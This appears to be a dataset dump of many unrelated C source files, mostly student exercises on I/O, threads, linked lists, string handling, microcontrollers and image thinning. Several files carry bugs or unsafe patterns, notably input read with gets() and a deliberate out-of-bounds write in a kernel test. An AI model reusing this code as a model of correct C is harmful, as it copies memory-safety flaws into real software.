language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
|---|---|
C
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int number;
printf("Enter a number : ");
scanf("%d" , &number);
if (number%2 == 0){
printf("%d is even number." , number);
}
//if (number%2 == 0){
// printf("%d is odd number." , number);
//}
}
|
C
|
/* Author: christopherluu
* Partner(s) Name:
* Lab Section:
* Assignment: Custom Project
* Exercise Description: [optional - include for your own benefit]
*
* I acknowledge all content contained herein, excluding template or example
* code, is my own original work.
*/
#include <avr/io.h>
#include "timer.h"
#include "scheduler.h"
#include "io.h"
#ifdef _SIMULATE_
#include "simAVRHeader.h"
#endif
enum STATES {START, INIT, ON, OFF, RELEASE} state;
unsigned char input;
void ButtonTick(){
switch(state){
//input = (~PINB & 0x03);
case START:
state = INIT;
break;
case INIT:
if((~PINB & 0x03) == 1){
state = ON;
}
else if((~PINB & 0x03) == 2){
state = OFF;
}
else{
state = INIT;
}
break;
case ON:
break;
case OFF:
break;
case RELEASE:
if((~PINB & 0x03) == 0){
state = INIT;
}
break;
default:
state = START;
break;
}
switch(state){
case START:
break;
case INIT:
break;
case ON:
OCR1A = 300;
state = RELEASE;
break;
case OFF:
OCR1A = 175;
state = RELEASE;
break;
case RELEASE:
break;
default:
state = START;
break;
}
}
int main(void) {
/* Insert DDR and PORT initializations */
DDRB = 0x00; PORTB = 0xFF;
DDRD = 0xFF; PORTD = 0x00;
TCNT1 = 0;
ICR1 = 2499;
/* Insert your solution below */
//unsigned short angle;
TCCR1A = (1<<WGM11) | (1<<COM1A1);
TCCR1B = (1<<WGM12) | (1<<WGM13) | (1<<CS10) | (1<<CS11);
state = START;
while (1) {
ButtonTick();
}
return 1;
}
|
C
|
/*
* Illustration of pthread_cond_wait(pthread_cond_t*, pthread_mutex_t*) and
* pthread_mutex.
* Order threads in order using the above.
* https://leetcode.com/problems/print-in-order/
*/
typedef struct {
// User defined data may be declared here.
pthread_mutex_t mlock;
pthread_cond_t first;
pthread_cond_t second;
pthread_cond_t third;
int f;
int s;
int t;
} Foo;
Foo* fooCreate() {
Foo* obj = (Foo*) malloc(sizeof(Foo));
// Initialize user defined data here.
pthread_mutex_init(&obj->mlock, NULL);
pthread_cond_init(&obj->first, NULL);
pthread_cond_init(&obj->second, NULL);
pthread_cond_init(&obj->third, NULL);
obj->f = 0;
obj->s = 0;
obj->t = 0;
return obj;
}
void first(Foo* obj) {
pthread_mutex_lock(&obj->mlock);
// printFirst() outputs "first". Do not change or remove this line.
printFirst();
obj->f = 1;
pthread_cond_signal(&obj->first);
pthread_mutex_unlock(&obj->mlock);
}
void second(Foo* obj) {
pthread_mutex_lock(&obj->mlock);
while (!obj->f)
pthread_cond_wait(&obj->first, &obj->mlock);
// printSecond() outputs "second". Do not change or remove this line.
printSecond();
obj->s = 1;
pthread_cond_signal(&obj->second);
pthread_mutex_unlock(&obj->mlock);
}
void third(Foo* obj) {
pthread_mutex_lock(&obj->mlock);
while (!obj->s)
pthread_cond_wait(&obj->second, &obj->mlock);
// printThird() outputs "third". Do not change or remove this line.
printThird();
obj->t = 1;
pthread_cond_signal(&obj->third);
pthread_mutex_unlock(&obj->mlock);
}
void fooFree(Foo* obj) {
// User defined data may be cleaned up here.
pthread_mutex_lock(&obj->mlock);
while(!obj->t)
pthread_cond_wait(&obj->third, &obj->mlock);
pthread_mutex_unlock(&obj->mlock);
free(obj);
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
int main()
{
int i;
printf("난수의 범위 : 0부터 99까지 \n");
for(i=0; i<5; i++)
printf("난수 출력 : %d \n", rand()%100);
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "../../libft.h"
int main()
{
char dst1[0xF00] = "there is no stars in the sky";
//char *src = "the cake is a lie !\\0I'm hidden lol\\r\\n";
char dst2[0xF00] = "there is no stars in the sky";
char *src = "the cake is a lie !\0I'm hidden lol\r\n";
size_t dstsize = strlen("the cake is a lie !\0I'm hidden lol\r\n") + strlen("there is no stars in the sky");
printf ("mine : %lu\n", ft_strlcat(dst1, src, dstsize));
printf ("no_my: %lu\n", strlcat(dst2, src, dstsize));
printf ("mine : %s\nno_my: %s\n", dst1, dst2);
return (0);
}
|
C
|
/* testing */
#include <stdio.h>
#include <stdlib.h>
#include <ucontext.h>
#include <sys/time.h>
#include <signal.h>
volatile sig_atomic_t keep_going = 1;
struct gtthread_t
{
long int id;
struct gtthread_t* next; //pointer to next node
int terminted;
}gt[2];
struct itimerval timer;
ucontext_t ctxt_main, ctxt_t1;
void func1()
{
printf("func1:Swapped from main\n");
int a = 5;
swapcontext(&ctxt_t1, &ctxt_main);
printf("func1:back in func1\n");
printf("a is %d\n",a);
return;
}
void
do_stuff (void)
{
puts ("Doing stuff while waiting for alarm....");
}
void hello()
{
keep_going = 0;
printf("woohoo\n");
}
void main()
{
long int period = 1;
char main_stack[16384];
char stack1[16384];
timer.it_value.tv_sec=0;
timer.it_value.tv_usec=period;
timer.it_interval.tv_sec=0;
timer.it_interval.tv_usec=period;
//setitimer(ITIMER_PROF,&timer,NULL);
printf("timer is %ld\n", period);
signal(SIGVTALRM,hello);
setitimer(ITIMER_VIRTUAL,&timer,NULL);
while (keep_going)
do_stuff ();
getcontext(&ctxt_t1);
ctxt_t1.uc_stack.ss_sp = stack1;
ctxt_t1.uc_stack.ss_size = sizeof(stack1);
ctxt_t1.uc_link = &ctxt_main;
makecontext(&ctxt_t1, func1, 0);
printf("In main: entering\n");
swapcontext(&ctxt_main, &ctxt_t1);
printf("main: back in main\n");
swapcontext(&ctxt_main, &ctxt_t1);
printf("main:exiting main\n");
return;
}
|
C
|
//使用环境windoes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAXLEN 100
typedef struct string
{
char ch[MAXLEN];
int len;
}SString,*PSString;
void StrReplace(PSString ps,SString t,SString v);
int StrLength(SString n);
int Index(PSString s,SString t,int pos) ;
int main(void) {
PSString ps;
SString s,t,v;
int flag;
ps = &s;
fflush(stdin);
printf("please input String:");
gets(s.ch);
fflush(stdin);
printf("please input will be replaced String:");
gets(t.ch);//需要判断一下这一段字符串是否在原字符串中存在
flag = Index(ps,t,0);
/*if(flag == -1) {
printf("你所输入的字符串不在主串中,请重输\n");
goto loop;
}else
// printf("输入正确!!!");*/
fflush(stdin);
printf("please input replace String:");
gets(v.ch);
s.len = StrLength(s);
t.len = StrLength(t);
v.len = StrLength(v);
StrReplace(ps,t,v);
printf("len=%d\t%d\t%d\n",s.len,t.len,v.len);
puts(ps->ch);
return 0;
}
void StrReplace(PSString ps,SString t,SString v) {
int i,pos;
pos = 0;
if(t.len == v.len) {
while(1) {
pos = Index(ps,t,pos);
printf("pos = %d\n",pos);
if(pos == -1 ) {
break;
}
for(i = 0;i < v.len;i++) {
ps->ch[pos+i] = v.ch[i];
}
pos += v.len;
}
}
if(t.len > v.len) {
while(1) {
pos = Index(ps,t,pos);
printf("pos = %d\n",pos);
if(pos == -1) {
break;
}
for(i = 0;i < v.len;i++) {
ps->ch[pos+i] = v.ch[i];
}
for(i = 0; i < ps->len;i++) {
ps->ch[pos+v.len+i] = ps->ch[pos+t.len+i];
}
pos += v.len;
ps->len = ps->len+v.len-t.len;
printf("len = %d\n",ps->len);
}
}
if(t.len < v.len)
{
while(1) {
pos = Index(ps,t,pos);
printf("pos = %d\n",pos);
if(pos == -1 ) {
break;
}
ps->len =ps->len+v.len-t.len;
for(i = ps->len;i != pos ;i--) {
if(i+v.len-t.len < 100)
ps->ch[i+v.len-t.len] = ps->ch[i];
else break;
}
for(i = 0;i < v.len;i++) {
ps->ch[pos+i] = v.ch[i];
}
pos += v.len;
}
}
}
int Index(PSString s,SString t,int pos) {
int i = pos,j = 0;
while(i < s->len&&j < t.len) {
if(s->ch[i] == t.ch[j]) {
i++;
j++;
}else {
i = i - j + 1;
j = 0;
}
}
if(j > t.len-1){
return i - t.len;
}
else
return -1;
}
int StrLength(SString ps) {
int len;
len = 0;
while(ps.ch[len] != '\0') {
len++;
}
return len;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define MOD_VALUE 50
int unique_number(int *arr, int x)
{
int i;
for (i=0; i<MOD_VALUE; i++) {
if (x == arr[i])
return 1;
}
return 0;
}
int generate_unique_random(int *arr)
{
int n = 0;
int i,j;
//srand (time(NULL));
#if 1
while (n < 1000) {
j = rand() % MOD_VALUE;
if (!unique_number(arr, j))
return j;
n++;
}
#endif
return 0;
}
int main()
{
int loop = 0;
int i,j;
int arr[MOD_VALUE+1];
int val = 1;
while (loop < 3)
{
memset(arr, -1, sizeof(MOD_VALUE+1));
srand (time(NULL) + loop*100000);
//arr[0] = rand() % MOD_VALUE;
for (i=0; i<MOD_VALUE; i++) {
j = generate_unique_random(arr);
printf("value: %d\n", j);
}
printf("=================================\n");
loop++;
sleep(1);
}
return 0;
}
|
C
|
#include <stdio.h>
#include <ulib.h>
#define ARRAYSIZE (1024*1024)
uint32_t bigarray[ARRAYSIZE];
int
main(void) {
cprintf("Making sure bss works right...\n");
int i;
for (i = 0; i < ARRAYSIZE; i ++) {
if (bigarray[i] != 0) {
panic("bigarray[%d] isn't cleared!\n", i);
}
}
for (i = 0; i < ARRAYSIZE; i ++) {
bigarray[i] = i;
}
for (i = 0; i < ARRAYSIZE; i ++) {
if (bigarray[i] != i) {
panic("bigarray[%d] didn't hold its value!\n", i);
}
}
cprintf("Yes, good. Now doing a wild write off the end...\n");
cprintf("testbss may pass.\n");
bigarray[ARRAYSIZE + 1024] = 0;
asm volatile ("int $0x14");
panic("FAIL: T.T\n");
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
int a[100], n;
int DI(int li, int ls) {
int x, y;
if (li < ls) {
x = DI(li, (li + ls) / 2);
y = DI((li + ls) / 2 + 1, ls);
if (x < y) return y;
else return x;
}
else
return a[li];
}
int main() {
int i;
printf("n=");
scanf("%d\n", &n);
for (i = 0; i < n; i++) {
printf("a[%d]=", i);
scanf("%d", &a[i]);
}
printf("vectorul este %d ", DI(0, n - 1));
system("pause");
return 0;
}
|
C
|
/*======================================================
> File Name: 2.c
> Author: wwh
> E-mail:
> Other :
> Created Time: 2015年12月26日 星期六 01时53分45秒
=======================================================*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
int main()
{
int fd = open("1", O_RDONLY);
lseek(fd, 1, SEEK_CUR);
//lseek(fd, SEEK_SET, 0);
char buf[1024];
read(fd, buf, 1024);
printf("%s\n", buf);
}
|
C
|
/* Copyright 2014 Dietrich Epp.
This file is part of SGLib. SGLib is licensed under the terms of the
2-clause BSD license. For more information, see LICENSE.txt. */
#ifndef SG_RECORD_H
#define SG_RECORD_H
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
struct sg_error;
/**
* @file sg/record.h
*
* @brief Video recording and screenshots.
*/
/**
* @brief Finish rendering a frame.
*
* This should be called with a valid OpenGL context. The contents of
* the framebuffer will be recorded, if video recording is in progress
* or a screenshot is being taken. This will automatically get called
* at the end of every frame, but by calling this function explicitly,
* you can specify the capture region.
*
* @param x The x offset of the capture region in the framebuffer.
* @param y The y offset of the capture region in the framebuffer.
* @param width The width of the capture region in the framebuffer.
* @param height The height of the capture region in the framebuffer.
*/
void
sg_record_frame_end(int x, int y, int width, int height);
/**
* @brief Request a screenshot of the next frame.
*/
void
sg_record_screenshot(void);
/**
* @brief Start recording video.
*
* @param time Timestamp at which video recording starts.
* @param width Width of the video, in pixels.
* @param height Height of the video, in pixels.
*/
void
sg_record_start(double time);
/**
* @brief Stop recording video.
*/
void
sg_record_stop(void);
#ifdef __cplusplus
}
#endif
#endif
|
C
|
#include <stdio.h>
#define N 10
int main(void)
{
int i,j;
for(i=0;i<N;i++){ //1~10
for(j=N-i-1;j>0;j--){ //9>0̽
printf(" ");
}
for(j=0;j<i;j++){//iŭ
printf("");
}
for(j=0;j<i-1;j++){//i-1ŭ
printf("");
}
printf("\n");
}
return 0;
}
|
C
|
#include "lists.h"
/**
* reverse_listint - reverses a listint_t linked list.
* @head: pointer to the first node
* Return: pointer to the first node
*/
listint_t *reverse_listint(listint_t **head)
{
listint_t *rev = NULL;
listint_t *next = NULL;
while (*head)
{
next = (*head)->next;
(*head)->next = rev;
rev = *head;
*head = next;
}
*head = rev;
return (*head);
}
|
C
|
#include <stdio.h>
int fun(int n){
static int x=0;
if(n>0){
x++;
return fun(n-1)+x;
}
return 0;
}
int main(){
printf("%d \n",fun(6));
return 0;
}
|
C
|
/*******************************************************************************
*
* Name: thinning_functions.c
* Author: K. Palagyi
* Date: 14 November, 2013
*
*******************************************************************************/
/*==================================*/
/*========= list functions =========*/
/*==================================*/
void NewSurfaceVoxel(unsigned long int x,
unsigned long int y,
unsigned long int z) {
ListElement * LE;
LE=(ListElement *)malloc(sizeof(ListElement));
(*LE).x=x;
(*LE).y=y;
(*LE).z=z;
(*LE).next=NULL;
(*LE).prev=SurfaceVoxels.last;
if (SurfaceVoxels.last!=NULL) (*((ListElement*)(SurfaceVoxels.last))).next=LE;
SurfaceVoxels.last=LE;
if (SurfaceVoxels.first==NULL) SurfaceVoxels.first=LE;
}
void RemoveSurfaceVoxel(ListElement * LE) {
ListElement * LE2;
if (SurfaceVoxels.first==LE) SurfaceVoxels.first=(*LE).next;
if (SurfaceVoxels.last==LE) SurfaceVoxels.last=(*LE).prev;
if ((*LE).next!=NULL) {
LE2=(ListElement*)((*LE).next);
(*LE2).prev=(*LE).prev;
}
if ((*LE).prev!=NULL) {
LE2=(ListElement*)((*LE).prev);
(*LE2).next=(*LE).next;
}
free(LE);
}
void CreatePointList(PointList *s) {
s->Head=NULL;
s->Tail=NULL;
s->Length=0;
}
void AddToList(PointList *s,Voxel e, ListElement * ptr) {
Cell * newcell;
newcell=(Cell *)malloc(sizeof(Cell));
newcell->v=e;
newcell->ptr=ptr;
newcell->next=NULL;
if (s->Head==NULL) {
s->Head=newcell;
s->Tail=newcell;
s->Length=1;
}
else {
s->Tail->next=newcell;
s->Tail=newcell;
s->Length++;
}
}
Voxel GetFromList(PointList *s, ListElement **ptr) {
Voxel R;
Cell *tmp;
R.i = -1;
R.j = -1;
R.k = -1;
(*ptr)=NULL;
if(s->Length==0) return R;
else {
R=s->Head->v;
(*ptr)=s->Head->ptr;
tmp=(Cell *)s->Head->next;
free(s->Head);
s->Head=tmp;
s->Length--;
if(s->Length==0) {
s->Head=NULL;
s->Tail=NULL;
}
return R;
}
}
void DestroyPointList(PointList *s) {
ListElement * ptr;
while(s->Length>0) GetFromList(s, &ptr);
}
void CollectSurfaceVoxels(void) {
unsigned long int x,y,z;
SurfaceVoxels.first = NULL;
SurfaceVoxels.last = NULL;
for( z=1, z_size_xy=size_xy;
z<size_z-1;
z++, z_size_xy+=size_xy )
{
zm_size_xy = z_size_xy - size_xy;
zp_size_xy = z_size_xy + size_xy;
for( y=1, y_size_x=size_x;
y<size_y-1;
y++, y_size_x+=size_x )
{
ym_size_x = y_size_x - size_x;
yp_size_x = y_size_x + size_x;
for(x=1; x<size_x-1; x++)
if ( *(image + x + y_size_x + z_size_xy ) )
{
if ( ( *(image + x + ym_size_x + z_size_xy ) ==0 ) ||
( *(image + x + yp_size_x + z_size_xy ) ==0 ) ||
( *(image + x + y_size_x + zm_size_xy ) ==0 ) ||
( *(image + x + y_size_x + zp_size_xy ) ==0 ) ||
( *(image + x+1 + y_size_x + z_size_xy ) ==0 ) ||
( *(image + x-1 + y_size_x + z_size_xy ) ==0 ) )
{
*(image + x + y_size_x + z_size_xy ) = 2;
NewSurfaceVoxel(x,y,z);
} /* endif */
} /* endif */
} /* endfor y */
} /* endfor z */
}
/*===============================================================*/
/*========= functions concerning topological properties =========*/
/*===============================================================*/
/*========= function collect_26_neighbours =========*/
void collect_26_neighbours(unsigned long int x,
unsigned long int y,
unsigned long int z )
{
/*
indices in "neighbours":
0 1 2 9 10 11 17 18 19 y-1
3 4 5 12 13 20 21 22 y
6 7 8 14 15 16 23 24 25 y+1
x-1 x x+1 x-1 x x+1 x-1 x x+1
z-1 z z+1
*/
z_size_xy = z*size_xy;
zm_size_xy = z_size_xy - size_xy;
zp_size_xy = z_size_xy + size_xy;
y_size_x = y*size_x;
ym_size_x = y_size_x - size_x;
yp_size_x = y_size_x + size_x;
neighbours = 0x00000000;
if ( *(image + x-1 + ym_size_x + zm_size_xy ) )
neighbours |= long_mask[ 0];
if ( *(image + x + ym_size_x + zm_size_xy ) )
neighbours |= long_mask[ 1];
if ( *(image + x+1 + ym_size_x + zm_size_xy ) )
neighbours |= long_mask[ 2];
if ( *(image + x-1 + y_size_x + zm_size_xy ) )
neighbours |= long_mask[ 3];
if ( *(image + x + y_size_x + zm_size_xy ) )
neighbours |= long_mask[ 4];
if ( *(image + x+1 + y_size_x + zm_size_xy ) )
neighbours |= long_mask[ 5];
if ( *(image + x-1 + yp_size_x + zm_size_xy ) )
neighbours |= long_mask[ 6];
if ( *(image + x + yp_size_x + zm_size_xy ) )
neighbours |= long_mask[ 7];
if ( *(image + x+1 + yp_size_x + zm_size_xy ) )
neighbours |= long_mask[ 8];
if ( *(image + x-1 + ym_size_x + z_size_xy ) )
neighbours |= long_mask[ 9];
if ( *(image + x + ym_size_x + z_size_xy ) )
neighbours |= long_mask[10];
if ( *(image + x+1 + ym_size_x + z_size_xy ) )
neighbours |= long_mask[11];
if ( *(image + x-1 + y_size_x + z_size_xy ) )
neighbours |= long_mask[12];
if ( *(image + x+1 + y_size_x + z_size_xy ) )
neighbours |= long_mask[13];
if ( *(image + x-1 + yp_size_x + z_size_xy ) )
neighbours |= long_mask[14];
if ( *(image + x + yp_size_x + z_size_xy ) )
neighbours |= long_mask[15];
if ( *(image + x+1 + yp_size_x + z_size_xy ) )
neighbours |= long_mask[16];
if ( *(image + x-1 + ym_size_x + zp_size_xy ) )
neighbours |= long_mask[17];
if ( *(image + x + ym_size_x + zp_size_xy ) )
neighbours |= long_mask[18];
if ( *(image + x+1 + ym_size_x + zp_size_xy ) )
neighbours |= long_mask[19];
if ( *(image + x-1 + y_size_x + zp_size_xy ) )
neighbours |= long_mask[20];
if ( *(image + x + y_size_x + zp_size_xy ) )
neighbours |= long_mask[21];
if ( *(image + x+1 + y_size_x + zp_size_xy ) )
neighbours |= long_mask[22];
if ( *(image + x-1 + yp_size_x + zp_size_xy ) )
neighbours |= long_mask[23];
if ( *(image + x + yp_size_x + zp_size_xy ) )
neighbours |= long_mask[24];
if ( *(image + x+1 + yp_size_x + zp_size_xy ) )
neighbours |= long_mask[25];
}
/*========= end of function collect_26_neighbours =========*/
/*========= function simple_26_6 =========*/
int simple_26_6( void )
{
return ( ( *(lut_simple + (neighbours>>3) ) ) & char_mask[neighbours%8]);
}
/*========= end of function simple_26_6 =========*/
/*========= function isthmus =========*/
int isthmus( void )
{
return ( ( *(lut_isthmus + (neighbours>>3) ) ) & char_mask[neighbours%8]);
}
/*========= end of function isthmus =========*/
/*=========== function DetectSimpleBorderPoints ===========*/
void DetectSimpleBorderPoints(PointList *s) {
unsigned char value;
Voxel v;
ListElement * LE3;
unsigned long int x, y, z, num;
LE3=(ListElement *)SurfaceVoxels.first;
while (LE3!=NULL)
{
x = (*LE3).x;
y = (*LE3).y;
z = (*LE3).z;
y_size_x = y*size_x;
z_size_xy = z*size_xy;
if ( *(image + x + y_size_x + z_size_xy) == 2 ) /* not an isthmus */
{
ym_size_x = y_size_x - size_x;
yp_size_x = y_size_x + size_x;
zm_size_xy = z_size_xy - size_xy;
zp_size_xy = z_size_xy + size_xy;
switch( direction )
{
case U: value = *(image + x + ym_size_x + z_size_xy );
break;
case D: value = *(image + x + yp_size_x + z_size_xy );
break;
case N: value = *(image + x + y_size_x + zm_size_xy );
break;
case S: value = *(image + x + y_size_x + zp_size_xy );
break;
case E: value = *(image + x+1 + y_size_x + z_size_xy );
break;
case W: value = *(image + x-1 + y_size_x + z_size_xy );
break;
} /* endswitch */
if( value == 0 )
{
collect_26_neighbours(x,y,z);
if ( simple_26_6() )
{
v.i = x;
v.j = y;
v.k = z;
AddToList(s,v,LE3);
} /* endif */
else
{
if ( isthmus() )
{
*(image + x + y_size_x + z_size_xy) = 3;
} /* endif */
} /* endelse */
} /* endif */
} /* endif */
LE3=(ListElement *)(*LE3).next;
} /* endwhile */
}
/*=========== end of function DetectSimpleBorderPoints ===========*/
/*========= function thinning_iteration_step =========*/
unsigned int thinning_iteration_step(void)
{
unsigned long int changed;
ListElement *ptr;
PointList s;
Voxel v;
changed = 0;
for ( direction=0; direction<6; direction++ )
{
CreatePointList(&s);
DetectSimpleBorderPoints(&s);
while ( s.Length > 0 )
{
v = GetFromList( &s, &ptr );
collect_26_neighbours( v.i, v.j, v.k );
if ( simple_26_6() )
{
z_size_xy = (v.k)*size_xy;
y_size_x = (v.j)*size_x;
*(image + v.i + y_size_x + z_size_xy ) = 0; /* simple point is deleted */
changed ++;
/* investigating v's 6-neighbours */
if (*(image + v.i-1 + y_size_x + z_size_xy )==1)
{
NewSurfaceVoxel( v.i-1, v.j , v.k );
*(image + v.i-1 + y_size_x + z_size_xy ) = 2;
}
if (*(image + v.i+1 + y_size_x + z_size_xy )==1)
{
NewSurfaceVoxel( v.i+1, v.j , v.k );
*(image + v.i+1 + y_size_x + z_size_xy ) = 2;
}
if (*(image + v.i + y_size_x-size_x + z_size_xy )==1)
{
NewSurfaceVoxel( v.i , v.j-1, v.k );
*(image + v.i + y_size_x-size_x + z_size_xy ) = 2;
}
if (*(image + v.i + y_size_x+size_x + z_size_xy )==1)
{
NewSurfaceVoxel( v.i , v.j+1, v.k );
*(image + v.i + y_size_x+size_x + z_size_xy ) = 2;
}
if (*(image + v.i + y_size_x + z_size_xy-size_xy )==1)
{
NewSurfaceVoxel( v.i , v.j , v.k-1 );
*(image + v.i + y_size_x + z_size_xy-size_xy ) = 2;
}
if (*(image + v.i + y_size_x + z_size_xy+size_xy )==1)
{
NewSurfaceVoxel( v.i , v.j , v.k+1 );
*(image + v.i + y_size_x + z_size_xy+size_xy ) = 2;
}
RemoveSurfaceVoxel(ptr);
} /* endif */
} /* endwhile */
DestroyPointList(&s);
} /* endfor */
return changed;
}
/*========= end of function thinning_iteration_step =========*/
/*========= function sequential_thinning =========*/
void sequential_thinning(void)
{
unsigned int iter, changed;
CollectSurfaceVoxels();
iter = 0;
changed = 1;
while ( changed )
{
changed = thinning_iteration_step();
iter++;
//printf("\n iteration step: %3d. (deleted point(s): %6d)",
// iter, changed );
}
}
/*========= end of function sequential_thinning =========*/
|
C
|
#include <stdio.h>
#include <stdlib.h>
//跨函数动态内存分配
struct student{
int sid;
int age;
};
struct student * createStudent(void);
void show(struct student *p);
int main()
{
struct student *st;
st = createStudent();
show(st);
return 0;
}
struct student * createStudent(void)
{
struct student *p = (struct student *)malloc(sizeof(struct student));
p->sid = 100;
p->age = 20;
return p;
}
void show(struct student *p)
{
printf("%d %d", p->sid, p->age);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
struct Node{
int data;
struct Node *next;
};
struct Node *push(struct Node **head , int data){
struct Node *temp = (struct Node *)malloc(sizeof(struct Node));
temp->data = data;
temp->next = *head;
*head = temp;
return temp;
}
void traverse_list(struct Node *head){
while(head!=NULL){
printf("%d-->" , head->data);
head = head->next;
}printf("NULL\n");
}
int check_straight_or_not(struct Node *head){
struct Node *p1 = head;
struct Node *p2 = head;
while(p2!=NULL){
p1 = p1->next;
p2 = p2->next;
if(p2!=NULL){
p2 = p2->next;
}else{
//printf("in else 1");
return 0;
}
if(p1==p2){
//printf("in if 1");
return 1;
}
}//printf("%p" , p2);
//printf("hel\n");
return 0;
}
int main(){
int num_str, inp;
scanf("%d" , &num_str);
int num_curve;
scanf("%d" , &num_curve);
//Creation of straight linked list
struct Node *str_head = NULL;
for(int i = 0; i<num_str; i++){
scanf("%d" , &inp);
push(&str_head , inp);
}
//Creation of circular linked list
struct Node *curve_head = NULL;
for(int i = 0; i<num_curve; i++){
scanf("%d" , &inp);
push(&curve_head , inp);
}
struct Node *temp = curve_head;
for(int i = 0; i<4; i++){
temp = temp->next;
}
struct Node *temp_2 = curve_head;
while(temp_2->next!=NULL){
temp_2 = temp_2->next;
}
temp_2->next = temp;
//traverse_list(curve_head);
int ans_1 = check_straight_or_not(str_head);
int ans_2 = check_straight_or_not(curve_head);
printf("%d %d" ,ans_1 , ans_2);
return 0;
}
|
C
|
#include "splay-tree.h"
#include <stdio.h>
#define NumItems 500
int main(void)
{
SplayTree T;
SplayTree P;
int i;
int j = 0;
T = Initialize();
T = MakeEmpty(T);
for (i = 0; i < NumItems; i++, j = (j + 7) % NumItems)
T = Insert(j, T);
for (j = 0; j < 2; j++)
for (i = 0; i < NumItems; i++)
{
T = Find(i, T);
if (Retrieve(T) != i)
printf("Error1 at %d\n", i);
}
printf("Entering remove\n");
for (i = 0; i < NumItems; i += 2)
T = Remove(i, T);
for (i = 1; i < NumItems; i += 2)
{
T = Find(i, T);
if (Retrieve(T) != i)
printf("Error2 at %d\n", i);
}
for (i = 0; i < NumItems; i += 2)
{
T = Find(i, T);
if (Retrieve(T) == i)
printf("Error3 at %d\n", i);
}
printf("Min is %d\n", Retrieve(T = FindMin(T)));
printf("Max is %d\n", Retrieve(T = FindMax(T)));
return 0;
}
|
C
|
int test(int a,int b)
{
if( a >= b) return a;
else return b;
}
int main()
{
int x = 2;
int y = 3;
return test(x,y);
}
|
C
|
/*
* stack.h
*
*/
#ifndef STACK_H_
#define STACK_H_
#include "stack_item.h"
typedef struct {
/** reference to the top item */
StackItem *top;
/** size of the stack */
int num;
} Stack;
Stack * initializeStack();
void push(int* data, int step, int i, int j, int movedDisc);
int* top(int* step, int* i, int* j, int* movedDisc);
void pop();
void setState(int _i, int _j);
int isStackEmpty();
void freeStack();
void setReturning();
Stack* divideStack();
int stackSize();
#endif /* STACK_H_ */
|
C
|
/*
simple code for toggling output with digital input
*/
// ------- Preamble -------- //
#include <avr/io.h> // Defines pins, ports, etc
#include <util/delay.h>
#define BUTTON_PIN PINB
#define BUTTON PB4
#define LED_DDR DDRB
#define LED0 PB0
#define DEBOUNCE_TIME 1000
uint8_t debounce(void) {
if(bit_is_clear(BUTTON_PIN, BUTTON)){
_delay_us(DEBOUNCE_TIME);
if(bit_is_clear(BUTTON_PIN, BUTTON)){
return(1);
}
}
return(0);
}
int main(void) {
// -------- Inits --------- //
uint8_t buttonWasPressed; // variable for storing the button state
PORTB |= (1 << BUTTON); // Set PB4 pin with an internal pulldown resistor
LED_DDR |= (1 << LED0); // Set first pin in PortB to output
// ------ Event loop ------ //
while (1) {
if (debounce()){ //if button was pressed
if (buttonWasPressed == 0){ //but was not last time
PORTB ^= (1 << LED0); //toggle the PB0 pin
buttonWasPressed = 1; //update the state
}
}
else{ //button is not pressed now
buttonWasPressed = 0; //update the state
}
} // End event loop
return 0;
}
|
C
|
#include <stdio.h>
int ft_str_is_lowercase(char *str);
int main(void)
{
char lower[] = "abcdefghijklmnopqrstuvwxyz";
char *p_low;
p_low = lower;
char special[] = "ABC abc áéíóú àèìòù âêîôû äëïöü \'\"(){}[]!?@#$&* wxyz WXYZ";
char *p_spe;
p_spe = special;
char empty[] = "";
char *p_emp;
p_emp = empty;
printf("-----\n1 = String contains only alphabetical chars\n0 = String doesn't contain only alphabetical chars\n\n");
printf("%s = %d\n", lower, ft_str_is_lowercase(p_low));
printf("%s = %d\n", special, ft_str_is_lowercase(p_spe));
printf("Empty = %d\n-----\n", ft_str_is_lowercase(p_emp));
return (0);
}
|
C
|
#include "io.h"
// проигнорировать невалидную строку
void skip_str() {
char ch;
while (read(0, &ch, 1) > 0 && ch != '\n') {}
}
// проверка числа на валидность
bool is_valid(char* buf) {
int i = 0;
int count_of_dots = 0;
while (buf[i] != '\0') {
if (isdigit(buf[i]) || buf[i] == '.') {
if (buf[i] == '.') {
count_of_dots++;
i++;
} else {
i++;
continue;
}
} else {
return false;
}
}
return (count_of_dots <= 1 && i > 0) ? true : false;
}
// считать float с клавиатуры при помощи read
int read_float(float* n) {
char ch;
char buf[100];
int count = 0;
// проверка на еоф (read возвращает 0, если еоф)
int is_eof = 1;
float sign = 1.0;
while ((is_eof = read(0, &ch, 1)) > 0 && ch != ' ' && ch != '\n') {
if (ch == '-') {
sign *= -1;
} else {
buf[count++] = ch;
}
}
if (is_eof == 0) {
return RF_EOF;
}
buf[count] = '\0';
if (!is_valid(buf)) {
if (ch != '\n')
skip_str();
return RF_INVALID; // строка невалидна
}
*n = atof(buf) * sign;
if (ch == '\n') {
return RF_ENDL;
} else {
return RF_VALID;
}
}
void read_file_name(char file_name[BUF_SIZE]) {
char ch;
int count = 0;
while (read(0, &ch, 1) > 0 && ch != '\n') {
file_name[count++] = ch;
}
file_name[count] = '\0';
}
|
C
|
/*******************************************************************************
* PRIMME PReconditioned Iterative MultiMethod Eigensolver
* Copyright (C) 2005 James R. McCombs, Andreas Stathopoulos
*
* This file is part of PRIMME.
*
* PRIMME is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* PRIMME is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*
* File: update_projection.c
*
* Purpose - Adds blockSize new columns and rows to H
*
* Module name : %M%
* SID : %I%
* Date : %G%
******************************************************************************/
#include <strings.h>
#include <stdlib.h>
#include "primme.h"
#include "const.h"
